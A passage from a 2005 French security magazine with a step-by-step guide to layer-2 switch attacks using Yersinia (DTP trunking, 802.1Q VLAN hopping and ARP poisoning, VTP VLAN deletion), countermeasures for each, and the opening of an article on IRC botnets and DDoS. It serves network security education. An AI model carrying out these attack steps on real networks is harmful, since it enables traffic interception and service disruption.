mentionnée. Pour ce faire, aucune
information supplémentaire n'est
nécessaire. En mode graphique de
Yersinia, en mode CDP, appuyez
sur [x] et sélectionnez l'attaque
fooding CDP table. Le Listing 4
présente le résultat de l'attaque et
le Listing 5 présente le journal de
commutateur.
Yersinia incorpore une autre
attaque, permettant de confgurer
les périphériques virtuels de Cisco.
Lorsqu'un administrateur réseau vé-
rife les voisins dans un des périphé-
riques réels, tous les périphériques
virtuels créés s'affcheront sur une
console. Cette attaque n'a aucune
conséquence négative à l'exception
d'agacer l'administrateur réseau (qui
essayera certainement de découvrir
le nouveau périphérique connecté
au réseau).
Contre-mesures
La seule contre-mesure valide
contre les attaques CDP consiste
à désactiver CDP au moyen de la
commande : no cdp run. Le pro-
tocole lui-même n'a pas été accru
pour la sécurité.
DTP (Dynamic
Trunking Protocol)
DTP est un protocole propriétaire
de Cisco, chargé d'établir des agré-
gations (reportez-vous à l'Encadré
Qu'est-ce qu'une agrégation ?) en-
tre les commutateurs de la couche
deux. Les paquets DTP ont en gé-
néral la valeur 01:00:0C:CC:CC:CC
comme la destination MAC et une
trame IEEE 802.3 incluant un en-
tête 802.2 SNAP (voir la Figure 6).
Figure 6. Structure d'un paquet DTP
Qu'est-ce qu'une
agrégation ?
Dans les systèmes téléphoniques une
agrégation est une ligne, capable de
transporter plus d'une voix ou d'une
chaîne de données simultanément en-
tre deux inter-changements. Pour parler
en termes de réseau, une agrégation
peut être établie entre deux commuta-
teurs. Il est ainsi possible d'envoyer du
trafc VLAN multiple à l'aide du même
lien physique (multiplexage).
Figure 7. Structure interne de DTP (les en-têtes Ethernet exclus)
Listing 6. Statut de VLAN avant l'attaque
zipi# sh vlan
VLAN Name Status Ports
---- ----------------------------- --------- -------------------------------
1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4
Fa0/5, Fa0/6, Fa0/7, Fa0/8
Fa0/9, Fa0/14, Fa0/15, Fa0/16
Fa0/17, Fa0/18, Fa0/19, Fa0/24
Gi0/1, Gi0/2
100 Offce active Fa0/10, Fa0/11, Fa0/12, Fa0/13
200 Internet active Fa0/20, Fa0/21, Fa0/22, Fa0/23
hakin9 Nº 6/2005 www.hakin9.org
Focus
30
Ce protocole est disponible dans la
plupart des commutateurs de Cisco,
à l'exception des modèles XL.
DTP est désactivé par défaut
par les périphériques de Cisco,
prêts à négocier dans tout port de
commutateurs. Il est cependant
nécessaire de savoir comment
négocier DTP afn d'établir une
agrégation. La spécifcation DTP
est la propriété de Cisco (n'est pas
publique), ce qui le rend plus diff-
cile. Par conséquent, les auteurs
de cet article ont été obligés d'uti-
liser l'ingénierie inverse (reversing)
du trafc entre deux commutateurs
qui confgurent une agrégation afn
de découvrir quel est le format de
DTP.
DTP négocie aussi bien l'ac-
tivation de l'agrégation que le
type d'encapsulation utilisé pour
envoyer et recevoir du trafc via un
port donné. L'encapsulation la plus
répandu est IEEE 802.1Q (supporté
par la plupart des commutateurs
de Cisco). Sa spécifcation est un
standard public. D'un autre côté,
il est également possible d'utiliser
ISL. C'est un protocole propriétaire
de Cisco supporté uniquement
par les périphériques high-end de
Cisco. La raison principale pour uti-
liser l'encapsulation est la mise en
balises des paquets à l'aide de leur
propre balise VLAN. Cette démar-
che aide les commutateurs à savoir
où envoyer le paquet.
Attaques
DTP ne se sert d'aucune authenti-
fcation du transmetteur et, comme
il a été déjà mentionné, il est désac-
tivé par défaut sur tous les ports.
La seule condition : êtes-vous capa-
bles de négocier DTP ? Si c'est le
cas, vous accédez aux autres VLAN.
Afn d'apprendre comment négocier
DTP, il est d'abord nécessaire de
connaître le format de paquet DTP
(voir la Figure 7) :
• Domain (32 octets) : chaîne AS-
CII identique au domaine VTP
confguré,
• Status (1 octet) : affche le sta-
tut de port : on, off, desirable
or auto; par défaut : desirable
– vous pouvez commencer
à négocier DTP,
• Type (1 octet) : type d'encapsu-
lation supporté : ISL, 802.1Q,
negotiated (ISL ou 802.1Q) ou
native,
• Neighbor-ID (6 octets) : identife
le périphérique qui envoie le pa-
quet ; en général, il s'agit de la
MAC adresse du port.
La première étape de la négociation
DTP dans les périphériques Cisco
consiste à envoyer trois paquets, un
par seconde, représentant le statut
Listing 7. Statut du port DTP depuis la console de commutateur
zipi# sh dtp int Fa0/10
DTP information for FastEthernet0/10:
TOS/TAS/TNS: ACCESS/DESIRABLE/ACCESS
TOT/TAT/TNT: NATIVE/802.1Q/802.1Q
Neighbor address 1: 000000000000
Neighbor address 2: 000000000000
Listing 8. Statut de port avant l'attaque
zipi# sh dtp int fa0/10
DTP information for FastEthernet0/10:
TOS/TAS/TNS: TRUNK/DESIRABLE/TRUNK
TOT/TAT/TNT: 802.1Q/802.1Q/802.1Q
Neighbor address 1: 666666666666
Neighbor address 2: 000000000000
Listing 9. Ports VLAN assignés avant l'attaque
zipi# sh vlan
VLAN Name Status Ports
---- ----------------------------- --------- -------------------------------
1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4
Fa0/5, Fa0/6, Fa0/7, Fa0/8
Fa0/9, Fa0/14, Fa0/15, Fa0/16
Fa0/17, Fa0/18, Fa0/19, Fa0/24
Gi0/1, Gi0/2
100 Offce active Fa0/11, Fa0/12, Fa0/13
200 Internet active Fa0/20, Fa0/21, Fa0/22, Fa0/23
Figure 8. Résultats de l'attaque DTP
Attaques de la couche deux du modèle OSI
hakin9 Nº 6/2005 www.hakin9.org 31
agrégé et le type d'encapsulation
exigé. Ensuite, un paquet DTP est
envoyé toutes les 30 secondes.
Yersinia implémente ce comporte-
ment comme un responsable de fl
de la tâche. D'un autre côté, il est
nécessaire de contrôler le statut de
chaque périphérique afn de modifer
votre statut en cas de besoin. Cette
démarche est terminée au moyen
d'une boucle recevant des paquets
DTP. Après plusieurs vérifcations,
Yersinia change son statut DTP en
fonction du périphérique.
Faites attention
Regardez comment se passe une at-
taque effectuée sur un commutateur
Catalyst 2950T avec IOS 12.1(22)
EA3. Le périphérique est confguré
pour avoir un nom d'hôte zipi et deux
VLAN : Offce (ports Fa0/10, Fa0/11,
Fa0/12 et Fa0/13) et Internet (ports
Fa0/20, Fa0/21, Fa0/22 et Fa0/23).
Le domaine VTP a été changé en
Yersinia. Tous les autres paramè-
tres restent inchangés. Le Listing 6
présente le statut de VLAN avant
l'attaque.
En mode graphique de Yersinia,
sélectionnez l'écran du protocole
DTP. S'il y a un DTP dans votre ré-
seau, vous verrez les données DTP
en 30 secondes environ. Vous pou-
vez également jeter un coup d'œil
sur le statut du port DTP depuis la
console de commutateur : votre port
est Fa0/10 et le statut reste par dé-
faut (voir le Listing 7).
Il est nécessaire de remplir
les champs en bas de la fenêtre
avec les valeurs par défaut en
appuyant sur [d]. Ensuite, [e] vous
permettra de modifer le champ
Neighbor-ID et de taper la valeur
666666666666. Afn de fnir l'édi-
Listing 10. Paquet ICMP Echo Request de Yersinia décodé à l'aide de Ethereal
Ethernet II, Src: 66:66:66:66:66:66, Dst: ff:ff:ff:ff:ff:ff
Destination: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff)
Source: 66:66:66:66:66:66 (66:66:66:66:66:66)
Type: 802.1Q Virtual LAN (0x8100)
802.1q Virtual LAN
111. .... .... .... = Priority: 7
...0 .... .... .... = CFI: 0
.... 0000 0001 0000 = ID: 16
Type: 802.1Q Virtual LAN (0x8100)
802.1q Virtual LAN
111. .... .... .... = Priority: 7
...0 .... .... .... = CFI: 0
.... 0000 0000 0001 = ID: 1
Type: IP (0x0800)
Internet Protocol, Src Addr: 10.0.0.1 (10.0.0.1), Dst Addr: 255.255.255.255 (255.255.255.255)
Protocol: ICMP (0x01)
Source: 10.0.0.1 (10.0.0.1)
Destination: 255.255.255.255 (255.255.255.255)
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Checksum: 0xb953 (correct)
Identifer: 0x0042
Sequence number: 00:42
Data (8 bytes)
0000 59 45 52 53 49 4e 49 41 YERSINIA
Figure 9. Champs ajoutés par 802.1Q au cadre Ethernet_II
Listing 11. Paramètres VLAN utilisés pour une attaque
zipi# sh vlan
VLAN Name Status Ports
---- ----------------------------- --------- -------------------------------
1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4
Fa0/5, Fa0/6, Fa0/7, Fa0/8
Fa0/9, Fa0/14, Fa0/15, Fa0/16
Fa0/17, Fa0/18, Fa0/19, Fa0/24
Gi0/1, Gi0/2
100 Offce active Fa0/10, Fa0/11, Fa0/12, Fa0/13
200 Internet active Fa0/20, Fa0/21, Fa0/22, Fa0/23
hakin9 Nº 6/2005 www.hakin9.org
Focus
32
tion, il est nécessaire d'appuyer sur
[return].
À présent, passez à la fenêtre de
l'attaque DTP à l'aide de [x] et sélec-
tionnez l'attaque enabling trunking.
Le statut du port DTP changera en
TRUNKING et Neighbor address 1
contiendra votre identifant (voir
le Listing 8). Si, en plus, vous re-
gardez les ports VLAN assignés,
vous verrez que votre port Fa0/10
ne se trouve plus sur la liste VLAN
(voir le Listing 9). Dans la fenêtre
principale de Yersinia, vous verrez
de nouveaux paquets ; les paquets
créés par Yersinia ont Neighbor-ID
666666666666 (voir la Figure 8).
Désormais, vous serez capable
d'effectuer les attaques contre les
protocoles 802.1Q et VTP. Ce qui est
plus important, il sera possible de
fonctionner comme n'importe quel
commutateur valide, ce qui permet
de renifer le trafc VLAN (depuis
d'autres VLAN que celui auquel vous
êtes connectés).
Contre-mesures
La seule contre mesure fable
contre les attaques DTP consiste
à désactiver l'auto-agrégation via la
commande : switchport mode access.
L'administrateur est alors obligé
d'activer l'agrégation manuellement
(dans la confguration de commu-
tateur) pour confgurer chaque nou-
velle agrégation.
IEEE 802.1Q
Le protocole IEEE 802.1Q est une
spécifcation publique. Il décrit le
format utilisé par les paquets via les
liens agrégés. Vu la nature ouverte
de la spécifcation, ce standard est
à présent accepté par la plupart des
fabricants et il arrive souvent d'établir
des agrégations entre les commuta-
teurs de différents vendeurs. Ce
n'est pas toutefois le seul standard.
De nombreux fabricants ont leurs
propres solutions. À titre d'exemple,
Cisco se sert aussi de son propre
protocole propriétaire ISL (Inter-
Switch Link).
Lorsqu'un commutateur reçoit
une trame, il ajoute une balise
802.1Q (4 octets), recalcule le FCS
(Frame Check Sequence) et envoie
le cadre original avec les modifca-
tions au lien agrégé. La Figure 9
présente les champs ajoutés par
802.1Q à la trame Ethernet_II. Le
champ VID identife le VLAN auquel
appartient le paquet. Cette valeur
d'identifant peut avoir comme plage
0 à 4096. En théorie, si vous établis-
sez un lien agrégé et si le commuta-
teur supporte 802.1Q, vous pouvez
alors envoyer des paquets aux VLAN
différents.
Attaques
Afn d'utiliser 802.1Q, il est obliga-
toire d'établir une agrégation. Dans
la section précédente, vous avez vu
comment activer l'agrégation avec
DTP et spécifer en plus que l'en-
capsulation doit être fait au moyen
de 802.1Q. Supposez alors que le
lien agrégé a été établi dans un port
correspondant.
Les attaques contre 802.1Q peu-
vent être divisées en deux classes :
• Envoi de trames 802.1Q aux
VLAN qui n'appartiennent pas
à l'attaquant,
• Utilisation des trames double-
ment empaquetées 802.1Q – ce
type d'attaque ajoute deux bali-
ses à la trame originale dans le
but d'utiliser le VLAN depuis la
seconde balise comme la des-
tination lorsque le commutateur
supprime la première balise.
Faites attention
Essayez dans un premier temps
d'envoyer des trames 802.1Q dou-
blement empaquetées avec Yersi-
nia. Vous remplissez les champs
à l'écran 802.1Q avec des valeurs
par défaut (touche [d]) et vous pas-
sez en mode d'éditeur (touche [e]).
Maintenant, modifez la valeur
Source MAC en 66:66:66:66:66:66,
ensuite, modifez la valeur VLAN
en 16 et la valeur VLAN2 en 1. Fi-
nalement, quittez le mode d'éditeur
([return]). À présent, passez à la fe-
nêtre d'attaque à l'aide de [x] et sé-
lectionnez l'attaque sending 802.1Q
double enc. packet.
Yersinia se sert de 802.1Q pour
envoyer les paquets ICMP Echo Re-
quest avec la charge utile (payload)
YERSINIA. Le Listing 10 présente le
paquet décodé à l'aide de Ethereal
(certains champs ont été supprimés
pour avoir plus de clarté). Vous
pouvez voir que une trame 802 a
été envoyée.1Q doublement empa-
quetée : tout d'abord, avec VLAN et
ensuite, avec VLAN 1.
Cette attaque démontre tout
simplement qu'il est possible de
placer le trafc dans d'autres VLAN
(ce qui porte le nom de VLAN-hop-
Figure 10. Plan du réseau pour 802.1Q
Attaques de la couche deux du modèle OSI
hakin9 Nº 6/2005 www.hakin9.org 33
ping). Des attaques plus avancées
peuvent toutefois être effectuées,
telle que Man-in-the-Middle. Dans
les versions futures de Yersinia,
ces attaques pourront être implé-
mentées.
Pour effectuer la prochaine
attaque, vous aurez besoin d'une
confguration plus complexe. Sup-
posez que vous disposez d'un
commutateur appelé zipi avec
IOS 12.1(22) EA3 et deux VLAN :
Offce (ports Fa0/10, Fa0/11, Fa0/
12 et Fa0/13) et Internet (Fa0/20,
Fa0/21, Fa0/22 et Fa0/23) (voir le
Listing 11). Le domaine VTP a été
modifé en Yersinia. Les autres
variables de confguration sont lais-
sées inchangées.
La Figure 10 présente la structure
du réseau. Le périphérique de l'intrus
est connecté au VLAN 100 (Offce)
au port Fa0/10. Il y a un ordinateur
équipé de Windows dont l'adresse IP
est la suivante 10.13.58.128 et qui est
connecté au VLAN 200 (Internet).
Comme vous pouvez le remarquer
sur la Figure 10, les périphériques du
VLAN Internet sont dotés d'un accès
à Internet via un routeur dont l'adres-
se IP est la suivante 10.13.58.253 ;
le VLAN Offce n'a aucun accès
à Internet.
Vous essayez d'accéder au trafc
de l'ordinateur, équipé de Windows,
placé dans le VLAN Internet. Pour
cette raison, vous allez opter pour
l'attaque appelée sending 802.1Q
arp poisoning. Bien évidemment,
il est nécessaire dans un premier
temps d'établir et de négocier un lien
agrégé, comme décrit dans le chapi-
tre précédent. Avant de commencer
l'attaque, il est également néces-
saire de vérifer que l'entrée ARP
pour 10.13.58.253 (routeur Internet)
dans la table ARP de Windows
(10.13.58.128) est une vraie MAC
adresse du routeur.
À présent, sélectionnez l'écran
802.1Q. Vous verrez probablement
des paquets dirigés vers des MAC
adresses en diffusion ou multi-
diffusion. Ce type de paquets est
envoyé à tous les ports appartenant
au même VLAN (dans notre cas :
200, Internet VLAN) et, en plus,
à tous les ports dont l'agrégation
a été négociée (comme c'est le cas
de votre port). Remplissez mainte-
nant les champs avec les valeurs
par défaut et passez au mode édi-
tion afn de modifer Source MAC
en 66:66:66:66:66:66. Ensuite,
passez aux fenêtres d'attaque et
sélectionnez l'attaque sending
802.1Q arp poisoning. Cette atta-
que nécessitera plusieurs paramè-
tres ; vous verrez donc s'affcher
une nouvelle boîte de dialogue
dotée des champs suivants :
• IP to poison : c'est l'adresse IP
que vous voulez remplacer ; dans
votre cas, c'est : 10.13.58.253
(routeur Internet),
• IP VLAN : identifant du VLAN
auquel vous voulez envoyer des
paquets, dans votre cas : 200
(VLAN Internet),
• ARP IP Source : cette adresse
IP sera employée pour deviner
la MAC adresse du routeur Inter-
net ; l'adresse IP doit se trouver
dans le même VLAN que IP to
poison mais elle ne doit pas être
signée ; utilisez 10.13.58.66.
Maintenant, il est possible d'ef-
fectuer l'attaque. Si tout se passe
bien, vous verrez la MAC adresse
66:66:66:66:66:66 dans la table
ARP de l'ordinateur équipé de Win-
dows (10.13.58.128) et la fenêtre
principale de Yersinia contiendra
davantage de données (voir la Fi-
gure 11).
Maintenant, essayez de com-
prendre ce que fait exactement
Yersinia :
• il cherche la MAC adresse du
routeur Internet au moyen de
paquets ARP modifés,
• une fois la MAC adresse du rou-
teur Internet connue, on lance
un fl qui envoie une ARP reply
par seconde. Cette démarche
empoisonnera la table ARP de
Windows avec une MAC adresse
fausse pour table l'adresse IP
10.13.58.253 (routeur Internet) :
66:66:66:66:66:66.
Yersinia peut à présent recevoir des
données envoyées par l'ordinateur
équipé de Windows (10.13.58.128)
à Internet, ensuite, les récrire et les
Figure 11. Résultats d'attaque 802.1Q
Qu'est-ce qu'un domai-
ne VTP ?
Le domaine VTP est une chaîne ASCII
partagée par tous les commutateurs,
appartenant au même groupe ou à la
même unité. Cette chaîne se trouve
dans tous les paquets VTP. Ce do-
maine se trouve en plus dans certains
champs CDP ; même le domaine DTP
est la même chaîne.
hakin9 Nº 6/2005 www.hakin9.org
Focus
34
renvoyer à la source VLAN (Internet
VLAN, ID 200) et les diriger à une
vraie MAC adresse du routeur In-
ternet (10.13.58.253). Maintenant, si
vous voulez enregistrer les données
du réseau, il sufft d'appuyer sur la
touche [s]. Les données seront en-
registrées au format pcap. Espérez
que le propriétaire de l'ordinateur
n'emploie pas des mots de passe
non cryptés.
Contre-mesures
Les contre-mesures pour les atta-
ques IEEE 802.1Q sont les mêmes
que pour les attaques DTP. Il faut
désactiver l'auto-agrégation.
VTP (VLAN Trunking
Protocol)
VTP est un protocole propriétaire de
Cisco utilisé pour la gestion centra-
lisée de VLAN. À titre d'exemple, si
un VLAN est confguré dans un com-
mutateur, les informations liées (nom
et identifant de VLAN) peuvent être
confgurées automatiquement dans
tous les commutateurs appartenant
au même domaine VTP (reportez-
vous à l'Encadré Qu'est-ce qu'un
domaine VTP ?). Les paquets VTP
sont envoyés à la MAC adresse en
multi-diffusion 01:00:0C:CC:CC:CC
avec une trame IEEE 802.3,
y compris un en-tête 802.2 SNAP
(voir la Figure 12).
Il existe quatre types des paquets
VTP :
• Summary advertisement – SUM-
MARY. Similaire à Hello. Il est
envoyé toutes les 5 minutes,
• Advertisement request – RE-
QUEST. Utilisé pour demander
de l'information,
• Subset advertisement – SUB-
SET. Paquet de données avec
des descriptions de VLAN,
• Join – JOIN.
Attaques
Bien que VTP permette d'utiliser des
mots de passe, il n'est pas activé par
défaut. Cependant, une fonction de
hachage MD5 sera toujours présen-
te dans un paquet SUMMARY. Cette
fonction MD5 est calculée avec la
confguration VLAN, le mot de passe
(si les mots de passe sont utilisés)
et d'autres champs.
Par défaut, un paquet VTP SUM-
MARY est envoyé toutes les 5 minu-
tes. Si vous prenez en considération
le fait que les attaques VTP nécessi-
tent plusieurs données reçues de ce
type de paquet, l'attaque peut durer
un certain temps mais jamais plus de
5 minutes.
Yersinia implémente plusieurs at-
taques VTP. Jetez un coup d'œil sur
deux attaques principales : ajout d'un
VLAN et suppression d'un VLAN. Afn
d'effectuer ces attaques, il est néces-
saire de réaliser ces étapes :
• obtenir des données VTP utiles ;
la meilleure façon de le faire
consiste à attendre un paquet
SUMMARY,
• envoyer un paquet REQUEST
afn d'obtenir des VLAN cou-
rants,
• modifer les VLAN connus de
l'étape précédente,
• envoyer la nouvelle confguration
VLAN au moyen des paquets
SUMMARY et SUBSET.
Figure 12. Structure d'un paquet VTP
Listing 12. Attaque réussie de suppression de VLAN
zipi# sh vlan
VLAN Name Status Ports
---- ----------------------------- --------- -------------------------------
1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4
Fa0/5, Fa0/6, Fa0/7, Fa0/8
Fa0/9, Fa0/14, Fa0/15, Fa0/16
Fa0/17, Fa0/18, Fa0/19, Fa0/24
Gi0/1, Gi0/2
100 Offce active Fa0/10, Fa0/11, Fa0/12, Fa0/13
Figure 13. Résultats de l'attaque VTP
Attaques de la couche deux du modèle OSI
hakin9 Nº 6/2005 www.hakin9.org 35
Faites attention
La confguration de l'exemple d'at-
taque est la même que dans le
chapitre précédent : deux VLAN :
Offce (ID 100) et Internet (ID 200).
L'objectif principal de l'attaque con-
siste à supprimer le VLAN Internet
(ID 200). Yersinia se trouve dans le
port Fa0/13.
Passez à présent à l'écran VTP,
remplissez les champs avec des va-
leurs par défaut et effectuez l'attaque
deleting one vlan. Yersinia demandera
l'identifant VLAN à supprimer. Dans
votre cas, l'identifant est 200. Dans
plusieurs minutes, la fenêtre princi-
pale de Yersinia ressemblera à celle
que vous voyez dans la Figure 13.
Si l'attaque réussit, vous ne pourrez
plus voir VLAN 200 dans la console
du commutateur (voir le Listing 12).
Les conséquences de la sup-
pression d'un VLAN peuvent être
variées. Les tests démontrent que
tous les périphériques connectés
au port appartenant au VLAN sup-
primé sont déconnectés. On vous
encourage à effectuer l'expérience
suivante. Essayez de confgurer
l'ordinateur pour qu'il ping un hôte
dans le même VLAN (par exemple,
une passerelle par défaut). Ensuite,
supprimez ce VLAN. Vous remar-
querez que le ping ne reçoit aucun
paquet de réponse. Cependant, si
vous rajoutez le VLAN (en utilisant,
bien évidemment, Yersinia), le ping
recommencera à fonctionner.
Contre-mesures
La contre-mesure la plus effcace
consiste à désactiver l'auto-agré-
gation, comme dans deux chapitres
précédents. Dans le cas présent,
vous pouvez toutefois employer
aussi un mot de passe VTP pour
protéger votre réseau contre ce type
d'attaques.
Conclusion
Vous avez jeté un coup d'œil sur
plusieurs protocoles de la couche
deux et sur la majorité des attaques
courantes. Les exemples démon-
trent clairement que la couche
deux peut se trouver à l'origine des
problèmes sérieux si vous ne tenez
pas compte des risques lors de la
confguration de votre réseau. La
plupart des protocoles sont vulné-
rables : réservez-lui une attention
toute particulière quand vous les
gérez et administrez. l
Sur Internet
• http://yersinia.sourceforge.net/ – site offciel de Yersinia,
• http://www.blackhat.com/presentations/bh-usa-02/bh-us-02-convery-
switches.pdf – présentation de Sean Convery concernant les attaques de la
couche deux.
Spanning Tree Protocol
• http://www.javvin.com/protocolSTP.html – concerne Spanning Tree Protocol,
• http://www.cisco.com/univercd/cc/td/doc/product/lan/trsrb/frames.htm#xtocid61
– format de paquet de BPDU,
• http://www.cisco.com/warp/public/473/146.html – article Understanding Rapid
Spanning Tree Protocol (802.1w),
• http://www.cisco.com/warp/public/473/17.html – article Understanding Spanning-
Tree Protocol Topology Changes,
• http://www.cisco.com/warp/public/473/65.html – article sur Spanning Tree Port-
fast BPDU Guard Enhancement,
• http://www.cisco.com/warp/public/473/74.html – article sur Spanning Tree Proto-
col Root Guard Enhancement.
Cisco Discovery Protocol
• http://www.cisco.com/univercd/cc/td/doc/product/lan/trsrb/frames.htm#xtocid12
– format de paquet CDP,
• http://www.phenoelit.de/stuff/CiscoCDP.txt – conseils de Phenoelit sur les vulné-
rabilités de IOS CDP.
Dynamic Trunking Protocol
• http://www.netcraftsmen.net/welcher/papers/switchvtp.html – article Switching:
Trunks and Dynamic Trunking Protocol (DTP).
IEEE 802.1Q
• http://standards.ieee.org/getieee802/download/802.1Q-2003.pdf – standard IEEE
802.1Q au format PDF.
VLAN Trunking Protocol
• http://www.cisco.com/univercd/cc/td/doc/product/lan/trsrb/frames.htm#xtocid31
– format de trame VTP.
À propos des auteurs
Alfredo Andrés travaille depuis plusieurs années dans le domaine de la sécurité
et participe à la communauté Open Source en développant des outils et des
correctifs. Alfredo travaille également pour S21sec ; il y est chargé d'un groupe
de pen-testing.
David Barroso se spécialise dans les incidents de réponses et dans la sécurité
de réseau. Il travaille actuellement pour une société espagnole de sécurité, S21sec.
Il participe aussi activement à la communauté globale de sécurité, il écrit des articles
et développe de nouveaux outils de sécurité.
Les deux auteurs ont présenté Yersinia pendant BlackHat Europe 2005. Une
attaque zéro-jour de Cisco (zero-day) y a été également présentée ; elle est liée à un
des protocoles ciblés par Yersinia (Cisco a été bien évidemment remarqué) et a été
découverte lors du développement de l'outil.
www.hakin9.org hakin9 Nº 6/2005 36
Pratique
L
a fn des années 90 et ce nouveau
millénaire ont vu naître une nouvelle
stratégie d'attaques dirigées contre
les systèmes en réseaux. Cette stratégie est
mieux connue sous le nom de Distributed
Denial of Services (DDoS). De nombreuses
sociétés informatiques ont malheureusement
fait l'expérience de ces attaques, qui se ré-
pandent facilement, principalement grâce
à leur simplicité de conception et à la diffculté
de pister les parties impliquées. Ce type d'at-
taques, malgré l'étendue de vos expériences
et de vos connaissances, représente encore
aujourd'hui une réelle menace, et donne tou-
jours l'avantage aux pirates. Vous allez étu-
dier de plus près ces attaques et le fruit de
leur évolution : les attaques par réseaux de
zombies.
Introduction aux robots et
aux réseaux d'ordinateurs
zombies
Le terme anglais bot est une abréviation du mot
robot. Les robots (programmes automatisés,
qui n'ont rien avoir avec les robots comme
Marvin, l'androïde paranoïaque) sont en règle
générale utilisés dans le domaine d'Internet.
Les Spiders, utilisés par les moteurs de re-
cherche afn de mapper les sites Web et les
logiciels répondant aux requêtes sur le proto-
cole IRC (tels que eggdrop) sont des robots.
La guerre des robots, ou
comment fonctionnent
les réseaux d'ordinateurs
zombies
Massimiliano Romano, Simone Rosignoli, Ennio Giannini
Degré de diffculté
Une des techniques les plus répandues et les plus effcaces des
attaques dites DDoS consiste à utiliser des centaines d'ordinateurs
zombies hôtes, contrôlés et gérés via des réseaux IRC. Le présent
article a pour objectif de présenter les méthodes qu'un pirate peut
utiliser afn de contaminer et de prendre le contrôle d'un ordinateur
cible, puis de déterminer comment appliquer des contre-mesures
effcaces afn de protéger vos ordinateurs de cette menace.
Cet article explique...
• La nature des robots, des réseaux de zombies
et leur fonctionnement,
• les fonctionnalités les plus utilisées proposées
par les robots,
• la façon dont un hôte est contaminé puis con-
trôlé,
• les mesures préventives disponibles et les pro-
tections possibles contre les infestations par
robot.
Ce qu'il faut savoir...
• Le fonctionnement des programmes mal-
veillants (chevaux de Troie et vers, plus particu-
lièrement),
• les mécanismes utilisés par les attaques
DDoS,
• les bases relatives aux protocoles TCP/IP,
DNS et IRC.
Guerre des robots
hakin9 Nº 6/2005 www.hakin9.org 37
Les programmes qui répondent de
manière autonome à des évène-
ments externes particuliers sont éga-
lement des robots. Le présent article
a pour objectif de décrire un genre
particulier de robot, ou bot en an-
glais, dénommé robot IRC. Ce robot
a recours à des réseaux IRC en tant
que canal de communication afn de
recevoir les commandes provenant
d'un utilisateur distant. Dans ce cas
de fgure particulier, il se trouve que
l'utilisateur est un pirate et le robot en
question un cheval de Troie. Un bon
programmeur peut facilement créer
son propre robot, ou personnaliser
un robot déjà existant. Ce qui lui per-
mettra de dissimuler son robot aux
systèmes de sécurité basiques, et le
répandre facilement.
De tels robots présentent une
fonctionnalité importante, à savoir
leur capacité à contaminer rapide-
ment les autres ordinateurs. Une
planifcation détaillée des proces-
sus d'infection permet d'atteindre
de meilleurs résultats en un temps
record (plus d'hôtes fragilisés). Un
nombre n de robots connectés sur
un seul et unique canal dans l'attente
de commandes constitue un réseau
de zombies.
Récemment, les réseaux de
zombies étaient contrôlés grâce
à l'utilisation d'outils appropriés,
développés intentionnellement par
les pirates eux-mêmes. Puis l'ex-
périence a conduit à mener de
nouveaux essais au moyen de
méthodes de contrôle à distance.
Le protocole IRC est ainsi consi-
déré comme la meilleure façon de
lancer des attaques, en raison de
sa fexibilité, de son utilisation facile
et surtout parce que les serveurs
publics peuvent être utilisés comme
un moyen de communication (voir
la partie intitulée protocole IRC).
Le protocole IRC propose une mé-
thode simple permettant de contrô-
ler des centaines, voire même des
milliers, de robots en une seule fois
de façon extrêmement fexible. Ce
protocole permet également aux
pirates de dissimuler leur identité
au moyen de pièges relativement
simples comme la mystifcation de
serveurs mandataires anonymes
ou de simples adresses IP. Grâce
à ce protocole, les administrateurs
de serveurs ont peu de chance de
remonter à l'origine d'une attaque
contrôlée de cette manière.
Dans la plupart des cas, les
robots contaminent les PC à utili-
sateur unique, les serveurs d'uni-
versité ou les réseaux de petites
sociétés, car ces machines ne font
pas l'objet d'un contrôle strict,
et sont souvent laissées sans
protection, en partie par manque
de véritable politique de sécurité,
ou généralement par absence de
sensibilisation auprès des utilisa-
teurs de PC avec connexion ADSL
des risques qu'ils encourent, et par
manque d'utilisation de logiciels de
protection tels que des anti-virus ou
des pare-feux personnels.
Les attaques distribuées DoS ou attaques DDoS
Une attaque DDoS est une variante d'attaque dite Flooding DoS ou inondation par
DoS ; cette attaque a pour objectif de saturer un réseau cible, en utilisant toute
la largeur de bande passante disponible. Cela étant dit, et en supposant qu'une
personne malveillante dispose d'une largeur de bande considérable et disponible
afn de saturer le site ciblé, il est évident que la meilleure façon de lancer ce genre
d'attaque consiste à contrôler de nombreux hôtes différents. En effet, chaque hôte
introduit sa propre largeur de bande (par exemple les utilisateurs de PC en ADSL),
que les pirates utilisent en une seule fois, distribuant de la sorte l'attaque sur le site
visé. Une des attaques les plus répandues, réalisée au moyen du protocole TCP
(protocole de connexion orientée), est appelée attaque par inondation de requêtes
syn sur TCP (TCP syn fooding). Celle-ci consiste à envoyer un grand nombre de
requêtes de connexions TCP vers le même serveur Web (ou vers tout autre type
de service), afn de surcharger les ressources du serveur en question et donc de
créer une situation de saturation, qui empêche les autres utilisateurs d'ouvrir leur
propre connexion. C'est d'une simplicité redoutablement effcace ! Il est possible
de réaliser le même type d'attaque au moyen du protocole UDP (protocole sans
connexion).
Des pirates ont passé un temps considérable et consacré tous leurs efforts à amé-
liorer de telles attaques. C'est la raison pour laquelle aujourd'hui, vous devez faire face
à des techniques de plus en plus sophistiquées, différentes des attaques DDoS tradi-
tionnelles. Ces attaques d'un nouveau genre permettent aux utilisateurs malveillants
de contrôler un grand nombre d'ordinateurs hôtes dits zombies à partir d'un poste de
travail à distance, en ayant recours, par exemple, au protocole IRC.
Protocole IRC (Internet Relay Chat)
IRC est l'acronyme d'un nom anglais Internet Relay Chat. Il s'agit d'un protocole conçu
pour les communications de chat en temps réel par relais Internet (consulter la réfé-
rence RFC 1459, mise à jour RFC 2810, 2811, 2812, 2813), basé sur une architecture
client-serveur. La grande majorité des serveurs IRC permet un accès libre à tout un
chacun. L' IRC est un protocole de réseau ouvert basé lui-même sur le protocole TCP
(Transmission Control Protocol), et parfois amélioré au moyen du protocole SSL (Se-
cure Sockets Layer).
Un serveur IRC se connecte à d'autres serveurs IRC au sein du même réseau.
Les utilisateurs de ce protocole IRC peuvent à la fois communiquer en public (sur les
canaux du même nom) ou en privé (communication un à un). Il existe deux niveaux
de base d'accès aux canaux IRC : utilisateurs et opérateurs. Un utilisateur qui va créer
un canal devient son opérateur. Un opérateur dispose de plus de privilèges (selon les
modes déterminés par l'opérateur initial) qu'un utilisateur normal.
